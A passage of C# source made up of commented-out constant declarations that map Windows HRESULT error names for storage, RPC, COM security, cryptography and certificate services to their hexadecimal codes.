//public const uint STG_E_INSUFFICIENTMEMORY = 0x80030008;\n      //public const uint STG_E_INVALIDPOINTER = 0x80030009;\n      //public const uint STG_E_NOMOREFILES = 0x80030012;\n      //public const uint STG_E_DISKISWRITEPROTECTED = 0x80030013;\n      //public const uint STG_E_SEEKERROR = 0x80030019;\n      //public const uint STG_E_WRITEFAULT = 0x8003001D;\n      //public const uint STG_E_READFAULT = 0x8003001E;\n      //public const uint STG_E_SHAREVIOLATION = 0x80030020;\n      //public const uint STG_E_LOCKVIOLATION = 0x80030021;\n      //public const uint STG_E_FILEALREADYEXISTS = 0x80030050;\n      //public const uint STG_E_INVALIDPARAMETER = 0x80030057;\n      //public const uint STG_E_MEDIUMFULL = 0x80030070;\n      //public const uint STG_E_PROPSETMISMATCHED = 0x800300F0;\n      //public const uint STG_E_ABNORMALAPIEXIT = 0x800300FA;\n      //public const uint STG_E_INVALIDHEADER = 0x800300FB;\n      //public const uint STG_E_INVALIDNAME = 0x800300FC;\n      //public const uint STG_E_UNKNOWN = 0x800300FD;\n      //public const uint STG_E_UNIMPLEMENTEDFUNCTION = 0x800300FE;\n      //public const uint STG_E_INVALIDFLAG = 0x800300FF;\n      //public const uint STG_E_INUSE = 0x80030100;\n      //public const uint STG_E_NOTCURRENT = 0x80030101;\n      //public const uint STG_E_REVERTED = 0x80030102;\n      //public const uint STG_E_CANTSAVE = 0x80030103;\n      //public const uint STG_E_OLDFORMAT = 0x80030104;\n      //public const uint STG_E_OLDDLL = 0x80030105;\n      //public const uint STG_E_SHAREREQUIRED = 0x80030106;\n      //public const uint STG_E_NOTFILEBASEDSTORAGE = 0x80030107;\n      //public const uint STG_E_EXTANTMARSHALLINGS = 0x80030108;\n      //public const uint STG_E_DOCFILECORRUPT = 0x80030109;\n      //public const uint STG_E_BADBASEADDRESS = 0x80030110;\n      //public const uint STG_E_DOCFILETOOLARGE = 0x80030111;\n      //public const uint STG_E_NOTSIMPLEFORMAT = 0x80030112;\n      //public const uint STG_E_INCOMPLETE = 0x80030201;\n      //public const uint STG_E_TERMINATED = 0x80030202;\n      //public const uint STG_S_CONVERTED = 0x00030200;\n      //public const uint STG_S_BLOCK = 0x00030201;\n      //public const uint STG_S_RETRYNOW = 0x00030202;\n      //public const uint STG_S_MONITORING = 0x00030203;\n      //public const uint STG_S_MULTIPLEOPENS = 0x00030204;\n      //public const uint STG_S_CONSOLIDATIONFAILED = 0x00030205;\n      //public const uint STG_S_CANNOTCONSOLIDATE = 0x00030206;\n      //public const uint STG_E_STATUS_COPY_PROTECTION_FAILURE = 0x80030305;\n      //public const uint STG_E_CSS_AUTHENTICATION_FAILURE = 0x80030306;\n      //public const uint STG_E_CSS_KEY_NOT_PRESENT = 0x80030307;\n      //public const uint STG_E_CSS_KEY_NOT_ESTABLISHED = 0x80030308;\n      //public const uint STG_E_CSS_SCRAMBLED_SECTOR = 0x80030309;\n      //public const uint STG_E_CSS_REGION_MISMATCH = 0x8003030A;\n      //public const uint STG_E_RESETS_EXHAUSTED = 0x8003030B;\n      //public const uint RPC_E_CALL_REJECTED = 0x80010001;\n      //public const uint RPC_E_CALL_CANCELED = 0x80010002;\n      //public const uint RPC_E_CANTPOST_INSENDCALL = 0x80010003;\n      //public const uint RPC_E_CANTCALLOUT_INASYNCCALL = 0x80010004;\n      //public const uint RPC_E_CANTCALLOUT_INEXTERNALCALL = 0x80010005;\n      //public const uint RPC_E_CONNECTION_TERMINATED = 0x80010006;\n      //public const uint RPC_E_SERVER_DIED = 0x80010007;\n      //public const uint RPC_E_CLIENT_DIED = 0x80010008;\n      //public const uint RPC_E_INVALID_DATAPACKET = 0x80010009;\n      //public const uint RPC_E_CANTTRANSMIT_CALL = 0x8001000A;\n      //public const uint RPC_E_CLIENT_CANTMARSHAL_DATA = 0x8001000B;\n      //public const uint RPC_E_CLIENT_CANTUNMARSHAL_DATA = 0x8001000C;\n      //public const uint RPC_E_SERVER_CANTMARSHAL_DATA = 0x8001000D;\n      //public const uint RPC_E_SERVER_CANTUNMARSHAL_DATA = 0x8001000E;\n      //public const uint RPC_E_INVALID_DATA = 0x8001000F;\n      //public const uint RPC_E_INVALID_PARAMETER = 0x80010010;\n      //public const uint RPC_E_CANTCALLOUT_AGAIN = 0x80010011;\n      //public const uint RPC_E_SERVER_DIED_DNE = 0x80010012;\n      //public const uint RPC_E_SYS_CALL_FAILED = 0x80010100;\n      //public const uint RPC_E_OUT_OF_RESOURCES = 0x80010101;\n      //public const uint RPC_E_ATTEMPTED_MULTITHREAD = 0x80010102;\n      //public const uint RPC_E_NOT_REGISTERED = 0x80010103;\n      //public const uint RPC_E_FAULT = 0x80010104;\n      //public const uint RPC_E_SERVERFAULT = 0x80010105;\n      //public const uint RPC_E_CHANGED_MODE = 0x80010106;\n      //public const uint RPC_E_INVALIDMETHOD = 0x80010107;\n      //public const uint RPC_E_DISCONNECTED = 0x80010108;\n      //public const uint RPC_E_RETRY = 0x80010109;\n      //public const uint RPC_E_SERVERCALL_RETRYLATER = 0x8001010A;\n      //public const uint RPC_E_SERVERCALL_REJECTED = 0x8001010B;\n      //public const uint RPC_E_INVALID_CALLDATA = 0x8001010C;\n      //public const uint RPC_E_CANTCALLOUT_ININPUTSYNCCALL = 0x8001010D;\n      //public const uint RPC_E_WRONG_THREAD = 0x8001010E;\n      //public const uint RPC_E_THREAD_NOT_INIT = 0x8001010F;\n      //public const uint RPC_E_VERSION_MISMATCH = 0x80010110;\n      //public const uint RPC_E_INVALID_HEADER = 0x80010111;\n      //public const uint RPC_E_INVALID_EXTENSION = 0x80010112;\n      //public const uint RPC_E_INVALID_IPID = 0x80010113;\n      //public const uint RPC_E_INVALID_OBJECT = 0x80010114;\n      //public const uint RPC_S_CALLPENDING = 0x80010115;\n      //public const uint RPC_S_WAITONTIMER = 0x80010116;\n      //public const uint RPC_E_CALL_COMPLETE = 0x80010117;\n      //public const uint RPC_E_UNSECURE_CALL = 0x80010118;\n      //public const uint RPC_E_TOO_LATE = 0x80010119;\n      //public const uint RPC_E_NO_GOOD_SECURITY_PACKAGES = 0x8001011A;\n      //public const uint RPC_E_ACCESS_DENIED = 0x8001011B;\n      //public const uint RPC_E_REMOTE_DISABLED = 0x8001011C;\n      //public const uint RPC_E_INVALID_OBJREF = 0x8001011D;\n      //public const uint RPC_E_NO_CONTEXT = 0x8001011E;\n      //public const uint RPC_E_TIMEOUT = 0x8001011F;\n      //public const uint RPC_E_NO_SYNC = 0x80010120;\n      //public const uint RPC_E_FULLSIC_REQUIRED = 0x80010121;\n      //public const uint RPC_E_INVALID_STD_NAME = 0x80010122;\n      //public const uint CO_E_FAILEDTOIMPERSONATE = 0x80010123;\n      //public const uint CO_E_FAILEDTOGETSECCTX = 0x80010124;\n      //public const uint CO_E_FAILEDTOOPENTHREADTOKEN = 0x80010125;\n      //public const uint CO_E_FAILEDTOGETTOKENINFO = 0x80010126;\n      //public const uint CO_E_TRUSTEEDOESNTMATCHCLIENT = 0x80010127;\n      //public const uint CO_E_FAILEDTOQUERYCLIENTBLANKET = 0x80010128;\n      //public const uint CO_E_FAILEDTOSETDACL = 0x80010129;\n      //public const uint CO_E_ACCESSCHECKFAILED = 0x8001012A;\n      //public const uint CO_E_NETACCESSAPIFAILED = 0x8001012B;\n      //public const uint CO_E_WRONGTRUSTEENAMESYNTAX = 0x8001012C;\n      //public const uint CO_E_INVALIDSID = 0x8001012D;\n      //public const uint CO_E_CONVERSIONFAILED = 0x8001012E;\n      //public const uint CO_E_NOMATCHINGSIDFOUND = 0x8001012F;\n      //public const uint CO_E_LOOKUPACCSIDFAILED = 0x80010130;\n      //public const uint CO_E_NOMATCHINGNAMEFOUND = 0x80010131;\n      //public const uint CO_E_LOOKUPACCNAMEFAILED = 0x80010132;\n      //public const uint CO_E_SETSERLHNDLFAILED = 0x80010133;\n      //public const uint CO_E_FAILEDTOGETWINDIR = 0x80010134;\n      //public const uint CO_E_PATHTOOLONG = 0x80010135;\n      //public const uint CO_E_FAILEDTOGENUUID = 0x80010136;\n      //public const uint CO_E_FAILEDTOCREATEFILE = 0x80010137;\n      //public const uint CO_E_FAILEDTOCLOSEHANDLE = 0x80010138;\n      //public const uint CO_E_EXCEEDSYSACLLIMIT = 0x80010139;\n      //public const uint CO_E_ACESINWRONGORDER = 0x8001013A;\n      //public const uint CO_E_INCOMPATIBLESTREAMVERSION = 0x8001013B;\n      //public const uint CO_E_FAILEDTOOPENPROCESSTOKEN = 0x8001013C;\n      //public const uint CO_E_DECODEFAILED = 0x8001013D;\n      //public const uint CO_E_ACNOTINITIALIZED = 0x8001013F;\n      //public const uint CO_E_CANCEL_DISABLED = 0x80010140;\n      //public const uint RPC_E_UNEXPECTED = 0x8001FFFF;\n      //public const uint ERROR_AUDITING_DISABLED = 0xC0090001;\n      //public const uint ERROR_ALL_SIDS_FILTERED = 0xC0090002;\n      //public const uint NTE_BAD_UID = 0x80090001;\n      //public const uint NTE_BAD_HASH = 0x80090002;\n      //public const uint NTE_BAD_KEY = 0x80090003;\n      //public const uint NTE_BAD_LEN = 0x80090004;\n      //public const uint NTE_BAD_DATA = 0x80090005;\n      //public const uint NTE_BAD_SIGNATURE = 0x80090006;\n      //public const uint NTE_BAD_VER = 0x80090007;\n      //public const uint NTE_BAD_ALGID = 0x80090008;\n      //public const uint NTE_BAD_FLAGS = 0x80090009;\n      //public const uint NTE_BAD_TYPE = 0x8009000A;\n      //public const uint NTE_BAD_KEY_STATE = 0x8009000B;\n      //public const uint NTE_BAD_HASH_STATE = 0x8009000C;\n      //public const uint NTE_NO_KEY = 0x8009000D;\n      //public const uint NTE_NO_MEMORY = 0x8009000E;\n      //public const uint NTE_EXISTS = 0x8009000F;\n      //public const uint NTE_PERM = 0x80090010;\n      //public const uint NTE_NOT_FOUND = 0x80090011;\n      //public const uint NTE_DOUBLE_ENCRYPT = 0x80090012;\n      //public const uint NTE_BAD_PROVIDER = 0x80090013;\n      //public const uint NTE_BAD_PROV_TYPE = 0x80090014;\n      //public const uint NTE_BAD_PUBLIC_KEY = 0x80090015;\n      //public const uint NTE_BAD_KEYSET = 0x80090016;\n      //public const uint NTE_PROV_TYPE_NOT_DEF = 0x80090017;\n      //public const uint NTE_PROV_TYPE_ENTRY_BAD = 0x80090018;\n      //public const uint NTE_KEYSET_NOT_DEF = 0x80090019;\n      //public const uint NTE_KEYSET_ENTRY_BAD = 0x8009001A;\n      //public const uint NTE_PROV_TYPE_NO_MATCH = 0x8009001B;\n      //public const uint NTE_SIGNATURE_FILE_BAD = 0x8009001C;\n      //public const uint NTE_PROVIDER_DLL_FAIL = 0x8009001D;\n      //public const uint NTE_PROV_DLL_NOT_FOUND = 0x8009001E;\n      //public const uint NTE_BAD_KEYSET_PARAM = 0x8009001F;\n      //public const uint NTE_FAIL = 0x80090020;\n      //public const uint NTE_SYS_ERR = 0x80090021;\n      //public const uint NTE_SILENT_CONTEXT = 0x80090022;\n      //public const uint NTE_TOKEN_KEYSET_STORAGE_FULL = 0x80090023;\n      //public const uint NTE_TEMPORARY_PROFILE = 0x80090024;\n      //public const uint NTE_FIXEDPARAMETER = 0x80090025;\n      //public const uint SEC_E_INSUFFICIENT_MEMORY = 0x80090300;\n      //public const uint SEC_E_INVALID_HANDLE = 0x80090301;\n      //public const uint SEC_E_UNSUPPORTED_FUNCTION = 0x80090302;\n      //public const uint SEC_E_TARGET_UNKNOWN = 0x80090303;\n      //public const uint SEC_E_INTERNAL_ERROR = 0x80090304;\n      //public const uint SEC_E_SECPKG_NOT_FOUND = 0x80090305;\n      //public const uint SEC_E_NOT_OWNER = 0x80090306;\n      //public const uint SEC_E_CANNOT_INSTALL = 0x80090307;\n      //public const uint SEC_E_INVALID_TOKEN = 0x80090308;\n      //public const uint SEC_E_CANNOT_PACK = 0x80090309;\n      //public const uint SEC_E_QOP_NOT_SUPPORTED = 0x8009030A;\n      //public const uint SEC_E_NO_IMPERSONATION = 0x8009030B;\n      //public const uint SEC_E_LOGON_DENIED = 0x8009030C;\n      //public const uint SEC_E_UNKNOWN_CREDENTIALS = 0x8009030D;\n      //public const uint SEC_E_NO_CREDENTIALS = 0x8009030E;\n      //public const uint SEC_E_MESSAGE_ALTERED = 0x8009030F;\n      //public const uint SEC_E_OUT_OF_SEQUENCE = 0x80090310;\n      //public const uint SEC_E_NO_AUTHENTICATING_AUTHORITY = 0x80090311;\n      //public const uint SEC_I_CONTINUE_NEEDED = 0x00090312;\n      //public const uint SEC_I_COMPLETE_NEEDED = 0x00090313;\n      //public const uint SEC_I_COMPLETE_AND_CONTINUE = 0x00090314;\n      //public const uint SEC_I_LOCAL_LOGON = 0x00090315;\n      //public const uint SEC_E_BAD_PKGID = 0x80090316;\n      //public const uint SEC_E_CONTEXT_EXPIRED = 0x80090317;\n      //public const uint SEC_I_CONTEXT_EXPIRED = 0x00090317;\n      //public const uint SEC_E_INCOMPLETE_MESSAGE = 0x80090318;\n      //public const uint SEC_E_INCOMPLETE_CREDENTIALS = 0x80090320;\n      //public const uint SEC_E_BUFFER_TOO_SMALL = 0x80090321;\n      //public const uint SEC_I_INCOMPLETE_CREDENTIALS = 0x00090320;\n      //public const uint SEC_I_RENEGOTIATE = 0x00090321;\n      //public const uint SEC_E_WRONG_PRINCIPAL = 0x80090322;\n      //public const uint SEC_I_NO_LSA_CONTEXT = 0x00090323;\n      //public const uint SEC_E_TIME_SKEW = 0x80090324;\n      //public const uint SEC_E_UNTRUSTED_ROOT = 0x80090325;\n      //public const uint SEC_E_ILLEGAL_MESSAGE = 0x80090326;\n      //public const uint SEC_E_CERT_UNKNOWN = 0x80090327;\n      //public const uint SEC_E_CERT_EXPIRED = 0x80090328;\n      //public const uint SEC_E_ENCRYPT_FAILURE = 0x80090329;\n      //public const uint SEC_E_DECRYPT_FAILURE = 0x80090330;\n      //public const uint SEC_E_ALGORITHM_MISMATCH = 0x80090331;\n      //public const uint SEC_E_SECURITY_QOS_FAILED = 0x80090332;\n      //public const uint SEC_E_UNFINISHED_CONTEXT_DELETED = 0x80090333;\n      //public const uint SEC_E_NO_TGT_REPLY = 0x80090334;\n      //public const uint SEC_E_NO_IP_ADDRESSES = 0x80090335;\n      //public const uint SEC_E_WRONG_CREDENTIAL_HANDLE = 0x80090336;\n      //public const uint SEC_E_CRYPTO_SYSTEM_INVALID = 0x80090337;\n      //public const uint SEC_E_MAX_REFERRALS_EXCEEDED = 0x80090338;\n      //public const uint SEC_E_MUST_BE_KDC = 0x80090339;\n      //public const uint SEC_E_STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A;\n      //public const uint SEC_E_TOO_MANY_PRINCIPALS = 0x8009033B;\n      //public const uint SEC_E_NO_PA_DATA = 0x8009033C;\n      //public const uint SEC_E_PKINIT_NAME_MISMATCH = 0x8009033D;\n      //public const uint SEC_E_SMARTCARD_LOGON_REQUIRED = 0x8009033E;\n      //public const uint SEC_E_SHUTDOWN_IN_PROGRESS = 0x8009033F;\n      //public const uint SEC_E_KDC_INVALID_REQUEST = 0x80090340;\n      //public const uint SEC_E_KDC_UNABLE_TO_REFER = 0x80090341;\n      //public const uint SEC_E_KDC_UNKNOWN_ETYPE = 0x80090342;\n      //public const uint SEC_E_UNSUPPORTED_PREAUTH = 0x80090343;\n      //public const uint SEC_E_DELEGATION_REQUIRED = 0x80090345;\n      //public const uint SEC_E_BAD_BINDINGS = 0x80090346;\n      //public const uint SEC_E_MULTIPLE_ACCOUNTS = 0x80090347;\n      //public const uint SEC_E_NO_KERB_KEY = 0x80090348;\n      //public const uint SEC_E_CERT_WRONG_USAGE = 0x80090349;\n      //public const uint SEC_E_DOWNGRADE_DETECTED = 0x80090350;\n      //public const uint SEC_E_SMARTCARD_CERT_REVOKED = 0x80090351;\n      //public const uint SEC_E_ISSUING_CA_UNTRUSTED = 0x80090352;\n      //public const uint SEC_E_REVOCATION_OFFLINE_C = 0x80090353;\n      //public const uint SEC_E_PKINIT_CLIENT_FAILURE = 0x80090354;\n      //public const uint SEC_E_SMARTCARD_CERT_EXPIRED = 0x80090355;\n      //public const uint SEC_E_NO_S4U_PROT_SUPPORT = 0x80090356;\n      //public const uint SEC_E_CROSSREALM_DELEGATION_FAILURE = 0x80090357;\n      //public const uint SEC_E_REVOCATION_OFFLINE_KDC = 0x80090358;\n      //public const uint SEC_E_ISSUING_CA_UNTRUSTED_KDC = 0x80090359;\n      //public const uint SEC_E_KDC_CERT_EXPIRED = 0x8009035A;\n      //public const uint SEC_E_KDC_CERT_REVOKED = 0x8009035B;\n      //public const uint SEC_E_NO_SPM = SEC_E_INTERNAL_ERROR;\n      //public const uint SEC_E_NOT_SUPPORTED = SEC_E_UNSUPPORTED_FUNCTION;\n      //public const uint CRYPT_E_MSG_ERROR = 0x80091001;\n      //public const uint CRYPT_E_UNKNOWN_ALGO = 0x80091002;\n      //public const uint CRYPT_E_OID_FORMAT = 0x80091003;\n      //public const uint CRYPT_E_INVALID_MSG_TYPE = 0x80091004;\n      //public const uint CRYPT_E_UNEXPECTED_ENCODING = 0x80091005;\n      //public const uint CRYPT_E_AUTH_ATTR_MISSING = 0x80091006;\n      //public const uint CRYPT_E_HASH_VALUE = 0x80091007;\n      //public const uint CRYPT_E_INVALID_INDEX = 0x80091008;\n      //public const uint CRYPT_E_ALREADY_DECRYPTED = 0x80091009;\n      //public const uint CRYPT_E_NOT_DECRYPTED = 0x8009100A;\n      //public const uint CRYPT_E_RECIPIENT_NOT_FOUND = 0x8009100B;\n      //public const uint CRYPT_E_CONTROL_TYPE = 0x8009100C;\n      //public const uint CRYPT_E_ISSUER_SERIALNUMBER = 0x8009100D;\n      //public const uint CRYPT_E_SIGNER_NOT_FOUND = 0x8009100E;\n      //public const uint CRYPT_E_ATTRIBUTES_MISSING = 0x8009100F;\n      //public const uint CRYPT_E_STREAM_MSG_NOT_READY = 0x80091010;\n      //public const uint CRYPT_E_STREAM_INSUFFICIENT_DATA = 0x80091011;\n      //public const uint CRYPT_I_NEW_PROTECTION_REQUIRED = 0x00091012;\n      //public const uint CRYPT_E_BAD_LEN = 0x80092001;\n      //public const uint CRYPT_E_BAD_ENCODE = 0x80092002;\n      //public const uint CRYPT_E_FILE_ERROR = 0x80092003;\n      //public const uint CRYPT_E_NOT_FOUND = 0x80092004;\n      //public const uint CRYPT_E_EXISTS = 0x80092005;\n      //public const uint CRYPT_E_NO_PROVIDER = 0x80092006;\n      //public const uint CRYPT_E_SELF_SIGNED = 0x80092007;\n      //public const uint CRYPT_E_DELETED_PREV = 0x80092008;\n      //public const uint CRYPT_E_NO_MATCH = 0x80092009;\n      //public const uint CRYPT_E_UNEXPECTED_MSG_TYPE = 0x8009200A;\n      //public const uint CRYPT_E_NO_KEY_PROPERTY = 0x8009200B;\n      //public const uint CRYPT_E_NO_DECRYPT_CERT = 0x8009200C;\n      //public const uint CRYPT_E_BAD_MSG = 0x8009200D;\n      //public const uint CRYPT_E_NO_SIGNER = 0x8009200E;\n      //public const uint CRYPT_E_PENDING_CLOSE = 0x8009200F;\n      //public const uint CRYPT_E_REVOKED = 0x80092010;\n      //public const uint CRYPT_E_NO_REVOCATION_DLL = 0x80092011;\n      //public const uint CRYPT_E_NO_REVOCATION_CHECK = 0x80092012;\n      //public const uint CRYPT_E_REVOCATION_OFFLINE = 0x80092013;\n      //public const uint CRYPT_E_NOT_IN_REVOCATION_DATABASE = 0x80092014;\n      //public const uint CRYPT_E_INVALID_NUMERIC_STRING = 0x80092020;\n      //public const uint CRYPT_E_INVALID_PRINTABLE_STRING = 0x80092021;\n      //public const uint CRYPT_E_INVALID_IA5_STRING = 0x80092022;\n      //public const uint CRYPT_E_INVALID_X500_STRING = 0x80092023;\n      //public const uint CRYPT_E_NOT_CHAR_STRING = 0x80092024;\n      //public const uint CRYPT_E_FILERESIZED = 0x80092025;\n      //public const uint CRYPT_E_SECURITY_SETTINGS = 0x80092026;\n      //public const uint CRYPT_E_NO_VERIFY_USAGE_DLL = 0x80092027;\n      //public const uint CRYPT_E_NO_VERIFY_USAGE_CHECK = 0x80092028;\n      //public const uint CRYPT_E_VERIFY_USAGE_OFFLINE = 0x80092029;\n      //public const uint CRYPT_E_NOT_IN_CTL = 0x8009202A;\n      //public const uint CRYPT_E_NO_TRUSTED_SIGNER = 0x8009202B;\n      //public const uint CRYPT_E_MISSING_PUBKEY_PARA = 0x8009202C;\n      //public const uint CRYPT_E_OSS_ERROR = 0x80093000;\n      //public const uint OSS_MORE_BUF = 0x80093001;\n      //public const uint OSS_NEGATIVE_longEGER = 0x80093002;\n      //public const uint OSS_PDU_RANGE = 0x80093003;\n      //public const uint OSS_MORE_INPUT = 0x80093004;\n      //public const uint OSS_DATA_ERROR = 0x80093005;\n      //public const uint OSS_BAD_ARG = 0x80093006;\n      //public const uint OSS_BAD_VERSION = 0x80093007;\n      //public const uint OSS_OUT_MEMORY = 0x80093008;\n      //public const uint OSS_PDU_MISMATCH = 0x80093009;\n      //public const uint OSS_LIMITED = 0x8009300A;\n      //public const uint OSS_BAD_PTR = 0x8009300B;\n      //public const uint OSS_BAD_TIME = 0x8009300C;\n      //public const uint OSS_INDEFINITE_NOT_SUPPORTED = 0x8009300D;\n      //public const uint OSS_MEM_ERROR = 0x8009300E;\n      //public const uint OSS_BAD_TABLE = 0x8009300F;\n      //public const uint OSS_TOO_LONG = 0x80093010;\n      //public const uint OSS_CONSTRAINT_VIOLATED = 0x80093011;\n      //public const uint OSS_FATAL_ERROR = 0x80093012;\n      //public const uint OSS_ACCESS_SERIALIZATION_ERROR = 0x80093013;\n      //public const uint OSS_NULL_TBL = 0x80093014;\n      //public const uint OSS_NULL_FCN = 0x80093015;\n      //public const uint OSS_BAD_ENCRULES = 0x80093016;\n      //public const uint OSS_UNAVAIL_ENCRULES = 0x80093017;\n      //public const uint OSS_CANT_OPEN_TRACE_WINDOW = 0x80093018;\n      //public const uint OSS_UNIMPLEMENTED = 0x80093019;\n      //public const uint OSS_OID_DLL_NOT_LINKED = 0x8009301A;\n      //public const uint OSS_CANT_OPEN_TRACE_FILE = 0x8009301B;\n      //public const uint OSS_TRACE_FILE_ALREADY_OPEN = 0x8009301C;\n      //public const uint OSS_TABLE_MISMATCH = 0x8009301D;\n      //public const uint OSS_TYPE_NOT_SUPPORTED = 0x8009301E;\n      //public const uint OSS_REAL_DLL_NOT_LINKED = 0x8009301F;\n      //public const uint OSS_REAL_CODE_NOT_LINKED = 0x80093020;\n      //public const uint OSS_OUT_OF_RANGE = 0x80093021;\n      //public const uint OSS_COPIER_DLL_NOT_LINKED = 0x80093022;\n      //public const uint OSS_CONSTRAINT_DLL_NOT_LINKED = 0x80093023;\n      //public const uint OSS_COMPARATOR_DLL_NOT_LINKED = 0x80093024;\n      //public const uint OSS_COMPARATOR_CODE_NOT_LINKED = 0x80093025;\n      //public const uint OSS_MEM_MGR_DLL_NOT_LINKED = 0x80093026;\n      //public const uint OSS_PDV_DLL_NOT_LINKED = 0x80093027;\n      //public const uint OSS_PDV_CODE_NOT_LINKED = 0x80093028;\n      //public const uint OSS_API_DLL_NOT_LINKED = 0x80093029;\n      //public const uint OSS_BERDER_DLL_NOT_LINKED = 0x8009302A;\n      //public const uint OSS_PER_DLL_NOT_LINKED = 0x8009302B;\n      //public const uint OSS_OPEN_TYPE_ERROR = 0x8009302C;\n      //public const uint OSS_MUTEX_NOT_CREATED = 0x8009302D;\n      //public const uint OSS_CANT_CLOSE_TRACE_FILE = 0x8009302E;\n      //public const uint CRYPT_E_ASN1_ERROR = 0x80093100;\n      //public const uint CRYPT_E_ASN1_INTERNAL = 0x80093101;\n      //public const uint CRYPT_E_ASN1_EOD = 0x80093102;\n      //public const uint CRYPT_E_ASN1_CORRUPT = 0x80093103;\n      //public const uint CRYPT_E_ASN1_LARGE = 0x80093104;\n      //public const uint CRYPT_E_ASN1_CONSTRAINT = 0x80093105;\n      //public const uint CRYPT_E_ASN1_MEMORY = 0x80093106;\n      //public const uint CRYPT_E_ASN1_OVERFLOW = 0x80093107;\n      //public const uint CRYPT_E_ASN1_BADPDU = 0x80093108;\n      //public const uint CRYPT_E_ASN1_BADARGS = 0x80093109;\n      //public const uint CRYPT_E_ASN1_BADREAL = 0x8009310A;\n      //public const uint CRYPT_E_ASN1_BADTAG = 0x8009310B;\n      //public const uint CRYPT_E_ASN1_CHOICE = 0x8009310C;\n      //public const uint CRYPT_E_ASN1_RULE = 0x8009310D;\n      //public const uint CRYPT_E_ASN1_UTF8 = 0x8009310E;\n      //public const uint CRYPT_E_ASN1_PDU_TYPE = 0x80093133;\n      //public const uint CRYPT_E_ASN1_NYI = 0x80093134;\n      //public const uint CRYPT_E_ASN1_EXTENDED = 0x80093201;\n      //public const uint CRYPT_E_ASN1_NOEOD = 0x80093202;\n      //public const uint CERTSRV_E_BAD_REQUESTSUBJECT = 0x80094001;\n      //public const uint CERTSRV_E_NO_REQUEST = 0x80094002;\n      //public const uint CERTSRV_E_BAD_REQUESTSTATUS = 0x80094003;\n      //public const uint CERTSRV_E_PROPERTY_EMPTY = 0x80094004;\n      //public const uint CERTSRV_E_INVALID_CA_CERTIFICATE = 0x80094005;\n      //public const uint CERTSRV_E_SERVER_SUSPENDED = 0x80094006;\n      //public const uint CERTSRV_E_ENCODING_LENGTH = 0x80094007;\n      //public const uint CERTSRV_E_ROLECONFLICT = 0x80094008;\n      //public const uint CERTSRV_E_RESTRICTEDOFFICER = 0x80094009;\n      //public const uint CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED = 0x8009400A;\n      //public const uint CERTSRV_E_NO_VALID_KRA = 0x8009400B;\n      //public const uint CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL = 0x8009400C;\n      //public const uint CERTSRV_E_NO_CAADMIN_DEFINED = 0x8009400D;\n      //public const uint CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE = 0x8009400E;\n      //public const uint CERTSRV_E_NO_DB_SESSIONS = 0x8009400F;\n      //public const uint CERTSRV_E_ALIGNMENT_FAULT = 0x80094010;\n      //public const uint CERTSRV_E_ENROLL_DENIED = 0x80094011;\n      //public const uint CERTSRV_E_TEMPLATE_DENIED = 0x80094012;\n      //public const uint CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE = 0x80094013;\n      //public const uint CERTSRV_E_UNSUPPORTED_CERT_TYPE = 0x80094800;\n      //public const uint CERTSRV_E_NO_CERT_TYPE = 0x80094801;\n      //public const uint CERTSRV_E_TEMPLATE_CONFLICT = 0x80094802;\n      //public const uint CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED = 0x80094803;\n      //public const uint CERTSRV_E_ARCHIVED_KEY_REQUIRED = 0x80094804;\n      //public const uint CERTSRV_E_SMIME_REQUIRED = 0x80094805;\n      //public const uint CERTSRV_E_BAD_RENEWAL_SUBJECT = 0x80094806;\n      //public const uint CERTSRV_E_BAD_TEMPLATE_VERSION = 0x80094807;\n      //public const uint CERTSRV_E_TEMPLATE_POLICY_REQUIRED = 0x80094808;\n      //public const uint CERTSRV_E_SIGNATURE_POLICY_REQUIRED = 0x80094809;\n      //public const uint CERTSRV_E_SIGNATURE_COUNT = 0x8009480A;\n      //public const uint CERTSRV_E_SIGNATURE_REJECTED = 0x8009480B;\n      //public const uint CERTSRV_E_ISSUANCE_POLICY_REQUIRED = 0x8009480C;\n      //public const uint CERTSRV_E_SUBJECT_UPN_REQUIRED = 0x8009480D;\n      //public const uint CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED = 0x8009480E;\n      //public const uint CERTSRV_E_SUBJECT_DNS_REQUIRED = 0x8009480F;\n      //public const uint CERTSRV_E_ARCHIVED_KEY_UNEXPECTED = 0x80094810;\n      //public const uint CERTSRV_E_KEY_LENGTH = 0x80094811;\n      //public const uint CERTSRV_E_SUBJECT_EMAIL_REQUIRED = 0x80094812;\n      //public const uint CERTSRV_E_UNKNOWN_CERT_TYPE = 0x80094813;\n      //public const uint CERTSRV_E_CERT_TYPE_OVERLAP = 0x80094814;\n      //public const uint XENROLL_E_KEY_NOT_EXPORTABLE = 0x80095000;\n      //public const uint XENROLL_E_CANNOT_ADD_ROOT_CERT = 0x80095001;\n      //public const uint XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND = 0x80095002;\n      //public const uint XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH = 0x80095003;\n      //public const uint XENROLL_E_RESPONSE_KA_HASH_MISMATCH = 0x80095004;\n      //public const uint XENROLL_E_KEYSPEC_SMIME_MISMATCH = 0x80095005;\n      //public const uint TRUST_E_SYSTEM_ERROR = 0x80096001;\n      //public const uint TRUST_E_NO_SIGNER_CERT = 0x80096002;\n      //public const uint TRUST_E_COUNTER_SIGNER = 0x80096003;\n      //public const uint TRUST_E_CERT_SIGNATURE = 0x80096004;\n      //public const uint TRUST_E_TIME_STAMP = 0x80096005;\n      //public const uint TRUST_E_BAD_DIGEST = 0x80096010;\n      //public const uint TRUST_E_BASIC_CONSTRAINTS = 0x80096019;\n      //public const uint TRUST_E_FINANCIAL_CRITERIA = 0x8009601E;\n      //public const uint MSSIPOTF_E_OUTOFMEMRANGE = 0x80097001;\n      //public const uint MSSIPOTF_E_CANTGETOBJECT = 0x80097002;\n      //public const uint MSSIPOTF_E_NOHEADTABLE = 0x80097003;\n      //public const uint MSSIPOTF_E_BAD_MAGICNUMBER = 0x80097004;\n      //public const uint MSSIPOTF_E_BAD_OFFSET_TABLE = 0x80097005;\n      //public const uint MSSIPOTF_E_TABLE_TAGORDER = 0x80097006;\n      //public const uint MSSIPOTF_E_TABLE_LONGWORD = 0x80097007;\n      //public const uint MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT = 0x80097008;\n      //public const uint MSSIPOTF_E_TABLES_OVERLAP 